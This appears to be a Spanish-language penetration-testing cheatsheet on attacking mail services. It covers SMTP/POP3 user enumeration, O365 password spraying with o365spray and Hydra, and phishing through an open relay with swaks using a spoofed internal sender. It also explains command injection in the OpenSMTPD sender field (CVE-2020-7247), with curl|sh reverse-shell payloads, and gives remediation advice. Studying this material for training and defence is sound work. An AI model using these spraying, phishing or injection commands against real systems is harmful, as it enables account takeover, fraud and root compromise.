> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/smtp-imap-pop3.md).

# SMTP/IMAP/POP3

## Attacking Email Services

#### Teoría: Protocolos de Correo

* **SMTP** (*Simple Mail Transfer Protocol*): transfiere emails de cliente a servidor y entre servidores.
* **POP3**: descarga emails al cliente y **los elimina del servidor por defecto** → problemático en múltiples dispositivos (configurable para conservar copias).
* **IMAP4**: descarga emails pero **los conserva en el servidor por defecto** → ideal para acceso multi-dispositivo.

> **Flujo**: Cliente → SMTP → Servidor remitente → SMTP → Servidor destinatario → IMAP/POP3 → Cliente receptor.

### 1. Enumeración de Servidores de Correo

El registro DNS **MX (Mail eXchanger)** apunta al servidor de correo responsable de un dominio. Puede haber múltiples registros MX para balanceo de carga y redundancia.

* `G-Suite` usa `aspmx.l.google.com`
* `Microsoft 365` usa `*.mail.protection.outlook.com`
* `Zoho` usa `mx.zoho.com`
* Servidores propios de la empresa → objetivo más interesante para misconfiguraciones.

#### Consulta de registros MX

```bash
host -t MX hackthebox.eu
host -t MX microsoft.com
```

```bash
dig mx plaintext.do | grep "MX" | grep -v ";"
dig mx inlanefreight.com | grep "MX" | grep -v ";"
```

```bash
host -t A mail1.inlanefreight.htb.
```

* `-t MX` / `-t A`: tipo de registro DNS a consultar.
* Alternativa online: **MXToolbox**.

**Output esperado:**

```
inlanefreight.com.  300  IN  MX  10 mail1.inlanefreight.com.
mail1.inlanefreight.htb has address 10.129.14.128
```

#### Puertos comunes de servicios de correo

| Puerto  | Servicio                |
| ------- | ----------------------- |
| TCP/25  | SMTP sin cifrar         |
| TCP/143 | IMAP4 sin cifrar        |
| TCP/110 | POP3 sin cifrar         |
| TCP/465 | SMTP cifrado            |
| TCP/587 | SMTP cifrado / STARTTLS |
| TCP/993 | IMAP4 cifrado           |
| TCP/995 | POP3 cifrado            |

#### Escaneo con Nmap

```bash
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
```

* `-Pn`: omite ping (útil si el host bloquea ICMP).
* `-sV`: detección de versiones.
* `-sC`: scripts por defecto (enumera comandos SMTP disponibles como `VRFY`, `PIPELINING`, etc.).

**Output esperado:** Banner del servidor (ej. `Postfix smtpd`), comandos SMTP soportados.

### 2. Misconfiguraciones — Enumeración de Usuarios

#### SMTP: Comandos de enumeración

**VRFY — Verifica si un usuario existe**

```
telnet 10.10.110.20 25
VRFY root
VRFY new-user
```

* Respuesta `252` → usuario **existe**.
* Respuesta `550` → usuario **no existe**.
* Esta función puede estar **deshabilitada** en el servidor.

**EXPN — Lista usuarios de una lista de distribución**

```
telnet 10.10.110.20 25
EXPN john
EXPN support-team
```

* Más peligroso que `VRFY`: una alias como `"all"` puede exponer **todos los usuarios** del dominio.
* Respuesta `250` → usuarios listados con sus emails reales.

**RCPT TO — Identifica destinatarios válidos**

```
telnet 10.10.110.20 25
MAIL FROM:test@htb.com
RCPT TO:julio
RCPT TO:john
```

* `550` → usuario desconocido.
* `250` → destinatario válido.

**POP3: Comando USER**

```
telnet 10.10.110.20 110
USER julio
USER john
```

* `-ERR` → usuario no existe.
* `+OK` → usuario **existe**.

#### smtp-user-enum — Automatización de enumeración SMTP

```bash
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
```

* `-M RCPT`: modo de enumeración (`VRFY`, `EXPN` o `RCPT`).
* `-U`: fichero con lista de usuarios.
* `-D`: dominio para construir direcciones de email completas.
* `-t`: IP del objetivo.

**Output esperado:**

```
10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
10.129.203.7: kate@inlanefreight.htb exists
3 results. 78 queries in 11 seconds
```

### 3. Cloud Enumeration — Office 365 (o365spray)

**o365spray** es una herramienta de enumeración de usuarios y password spraying orientada a Microsoft O365, desarrollada por ZDH. Reimplementa técnicas de enumeración y spray documentadas por la comunidad.

#### Validar si el dominio usa O365

```bash
python3 o365spray.py --validate --domain msplaintext.xyz
```

**Output esperado:** `[VALID] The following domain is using O365: msplaintext.xyz`

#### Enumerar usuarios válidos en O365

```bash
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
```

* `--enum`: activa modo enumeración.
* `-U`: fichero con lista de usuarios.
* `--domain`: dominio objetivo.
* Módulo por defecto: `office` (10 threads).

**Output esperado:**

```
[VALID] lewen@msplaintext.xyz
[VALID] juurena@msplaintext.xyz
Valid Accounts: 2
```

Resultados guardados en `/opt/o365spray/enum/enum_valid_accounts.<timestamp>.txt`.

### 4. Password Attacks

#### Hydra — Brute force / Password spray sobre POP3

```bash
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
```

* `-L`: lista de usuarios.
* `-p`: contraseña única (spray) o `-P` para lista.
* `-f`: para al encontrar el primer hit válido.
* `pop3`: protocolo objetivo (también válido: `smtp`, `imap`).

**Output esperado:**

```
[110][pop3] host: 10.129.42.197  login: john  password: Company01!
```

> **Nota:** Los cloud providers suelen **bloquear Hydra**. Para O365 usar `o365spray`; para Gmail/Okta usar **CredKing**; para O365 también existe **MailSniper**. Estas herramientas requieren actualizaciones frecuentes ya que los proveedores cambian sus APIs.

#### o365spray — Password Spraying sobre O365

```bash
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
```

* `--spray`: activa modo spray.
* `-U`: lista de usuarios **ya validados**.
* `-p`: contraseña a probar.
* `--count 1`: número de contraseñas por ronda de spray.
* `--lockout 1`: espera 1 minuto entre rondas para **evitar bloqueo de cuentas**.
* Módulo por defecto: `oauth2`.
* `--safe 10`: detiene el spray si 10 cuentas quedan bloqueadas.

**Output esperado:**

```
[VALID] lewen@msplaintext.xyz:March2022!
Valid Credentials: 1
```

Credenciales en `/opt/o365spray/spray/spray_valid_credentials.<timestamp>.txt`.

### 5. Open Relay — Abuso de SMTP mal configurado

Un **open relay** es un servidor SMTP mal configurado que permite retransmitir correo de cualquier origen sin autenticación. Enmascara el origen del mensaje, haciendo que parezca originado desde el relay.

**Desde el punto de vista ofensivo:** permite enviar emails de phishing suplantando usuarios legítimos o direcciones internas de la empresa.

#### Detectar Open Relay con Nmap

```bash
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
```

* `--script smtp-open-relay`: ejecuta 16 pruebas de relay.

**Output esperado:**

```
|_smtp-open-relay: Server is an open relay (14/16 tests)
```

#### Explotar Open Relay con swaks

```bash
swaks --from notifications@inlanefreight.com \
      --to employees@inlanefreight.com \
      --header 'Subject: Company Notification' \
      --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' \
      --server 10.10.11.213
```

* `--from`: dirección remitente (puede ser cualquier dirección para spoofing).
* `--to`: destinatario objetivo.
* `--header`: cabeceras del email (asunto, etc.).
* `--body`: cuerpo del mensaje (aquí se incluye el link de phishing).
* `--server`: IP del open relay.

**Output esperado:** Secuencia SMTP completa (`EHLO` → `MAIL FROM` → `RCPT TO` → `DATA` → `250 OK` → `QUIT`).

**Caso de uso real:** identificar la dirección interna de notificaciones de la empresa y suplantar ese remitente para aumentar la credibilidad del phishing.

### Remediación

* **VRFY/EXPN**: deshabilitar estos comandos en la configuración del MTA (ej. en Postfix: `disable_vrfy_command = yes`).
* **Open Relay**: configurar el servidor SMTP para requerir autenticación en todos los envíos (`smtpd_relay_restrictions` en Postfix).
* **Password Spray**: implementar MFA, limitar intentos de login y alertas por geolocalización o fuerza bruta en el proveedor cloud.
* **RCPT TO enumeration**: configurar respuestas genéricas para usuarios inexistentes en lugar de `550 User unknown`.

## Últimas Vulnerabilidades en Servicios de Email — OpenSMTPD RCE

#### Resumen

* **CVE-2020-7247** afecta a **OpenSMTPD hasta la versión 6.6.2**, publicada en 2020, pero explotable desde 2018.
* Permite **Remote Code Execution (RCE) sin autenticación** — esto la convierte en crítica.
* Afecta múltiples distribuciones Linux: Debian, Fedora, FreeBSD y otras.
* Según Shodan (abril 2022), hay **más de 5,000 servidores OpenSMTPD públicamente accesibles**, con tendencia creciente:
  * Hace 24 meses: 4,061
  * Hace 12 meses: 4,853
  * Hace 6 meses: 5,297
  * Marzo 2022: **5,640**

> El impacto de un RCE sin auth en un servicio expuesto a internet es devastador — no solo para OpenSMTPD, sino como patrón aplicable a cualquier servicio.

Referencias Shodan:

{% embed url="<https://www.shodan.io/search/report?query=port%3A25+product%3A%22OpenSMTPD%22>" %}

{% embed url="<https://trends.shodan.io/search?query=product:%22OpenSMTPD%22#facet/overview>" %}

#### Concepto del Ataque

La vulnerabilidad reside en la función que registra la **dirección del remitente** del email. Usando un **punto y coma (`;`)** se puede escapar de la función e inyectar comandos arbitrarios del sistema.

* Límite de **64 caracteres** para el payload del comando.
* No se requiere autenticación previa.
* El servicio corre con **privilegios elevados** (escucha en puerto 25, requiere root), por lo que los comandos inyectados se ejecutan con esos mismos privilegios.

**Flujo del ataque:**

**Fase 1 — Iniciación:**

| Paso | Acción                                                                  | Categoría   |
| ---- | ----------------------------------------------------------------------- | ----------- |
| 1    | El usuario (o script) interactúa directamente con el servicio SMTP      | Source      |
| 2    | El servicio recibe el email con la información requerida                | Process     |
| 3    | El servicio corre con privilegios elevados por escuchar en el puerto 25 | Privileges  |
| 4    | La información ingresada se reenvía a otro proceso local                | Destination |

**Fase 2 — Trigger del RCE:**

| Paso | Acción                                                                                                                            | Categoría   |
| ---- | --------------------------------------------------------------------------------------------------------------------------------- | ----------- |
| 5    | El campo *sender* contiene el comando del sistema precedido de `;`                                                                | Source      |
| 6    | El proceso lee la entrada y el `;` interrumpe la lectura por reglas especiales del código fuente, ejecutando el comando inyectado | Process     |
| 7    | Los procesos de OpenSMTPD heredan los privilegios elevados — el comando se ejecuta como root                                      | Privileges  |
| 8    | El destino del comando puede ser la red — por ejemplo, una reverse shell hacia el atacante                                        | Destination |

#### Aclaración de Conceptos

**Sink de inyección:** El campo `MAIL FROM:` en SMTP actúa como *sink* porque el parser del código fuente no sanitiza correctamente el input, permitiendo que el `;` rompa el contexto de la función y ejecute comandos del sistema operativo.

#### Aislamiento de Comandos

No hay comandos explícitos en el texto fuente. La interacción con el servicio puede ser manual o automatizada. El exploit público está disponible en Exploit-DB para análisis detallado del trigger:

```
https://www.exploit-db.com/  # Buscar: CVE-2020-7247 OpenSMTPD
```

* La conexión inicial al servicio SMTP se puede realizar con `nc`, `telnet` o scripts automatizados.
* El payload va en el campo `MAIL FROM:` con formato: `sender@domain.com; <comando>` (máx. 64 chars).

**OpSec:** El destino del comando suele ser una reverse shell hacia el host del atacante.

#### Resultado y Troubleshooting

* **Output esperado:** Acceso remoto al sistema objetivo con los privilegios del proceso OpenSMTPD (típicamente root).
* Si el payload supera los 64 caracteres, el comando será truncado y probablemente falle — usar payloads compactos (e.g., `curl|sh`, stageless shells cortas).

#### Mitigaciones

* **Remediación:** Actualizar OpenSMTPD a una versión superior a la 6.6.2, donde el parsing del campo sender fue corregido.

#### Siguientes Pasos — Práctica en HTB

Para ver estos ataques en acción:

* **Rabbit** — Brute-force de OWA (Outlook Web Access) + phishing con macro maliciosa.
* **SneakyMailer** — Phishing + enumeración de inbox de usuario via Netcat e IMAP client.
* **Reel** — Brute-force de usuarios SMTP + phishing con archivo RTF malicioso.

Buscar boxes por técnica: <https://ippsec.rocks>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/smtp-imap-pop3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
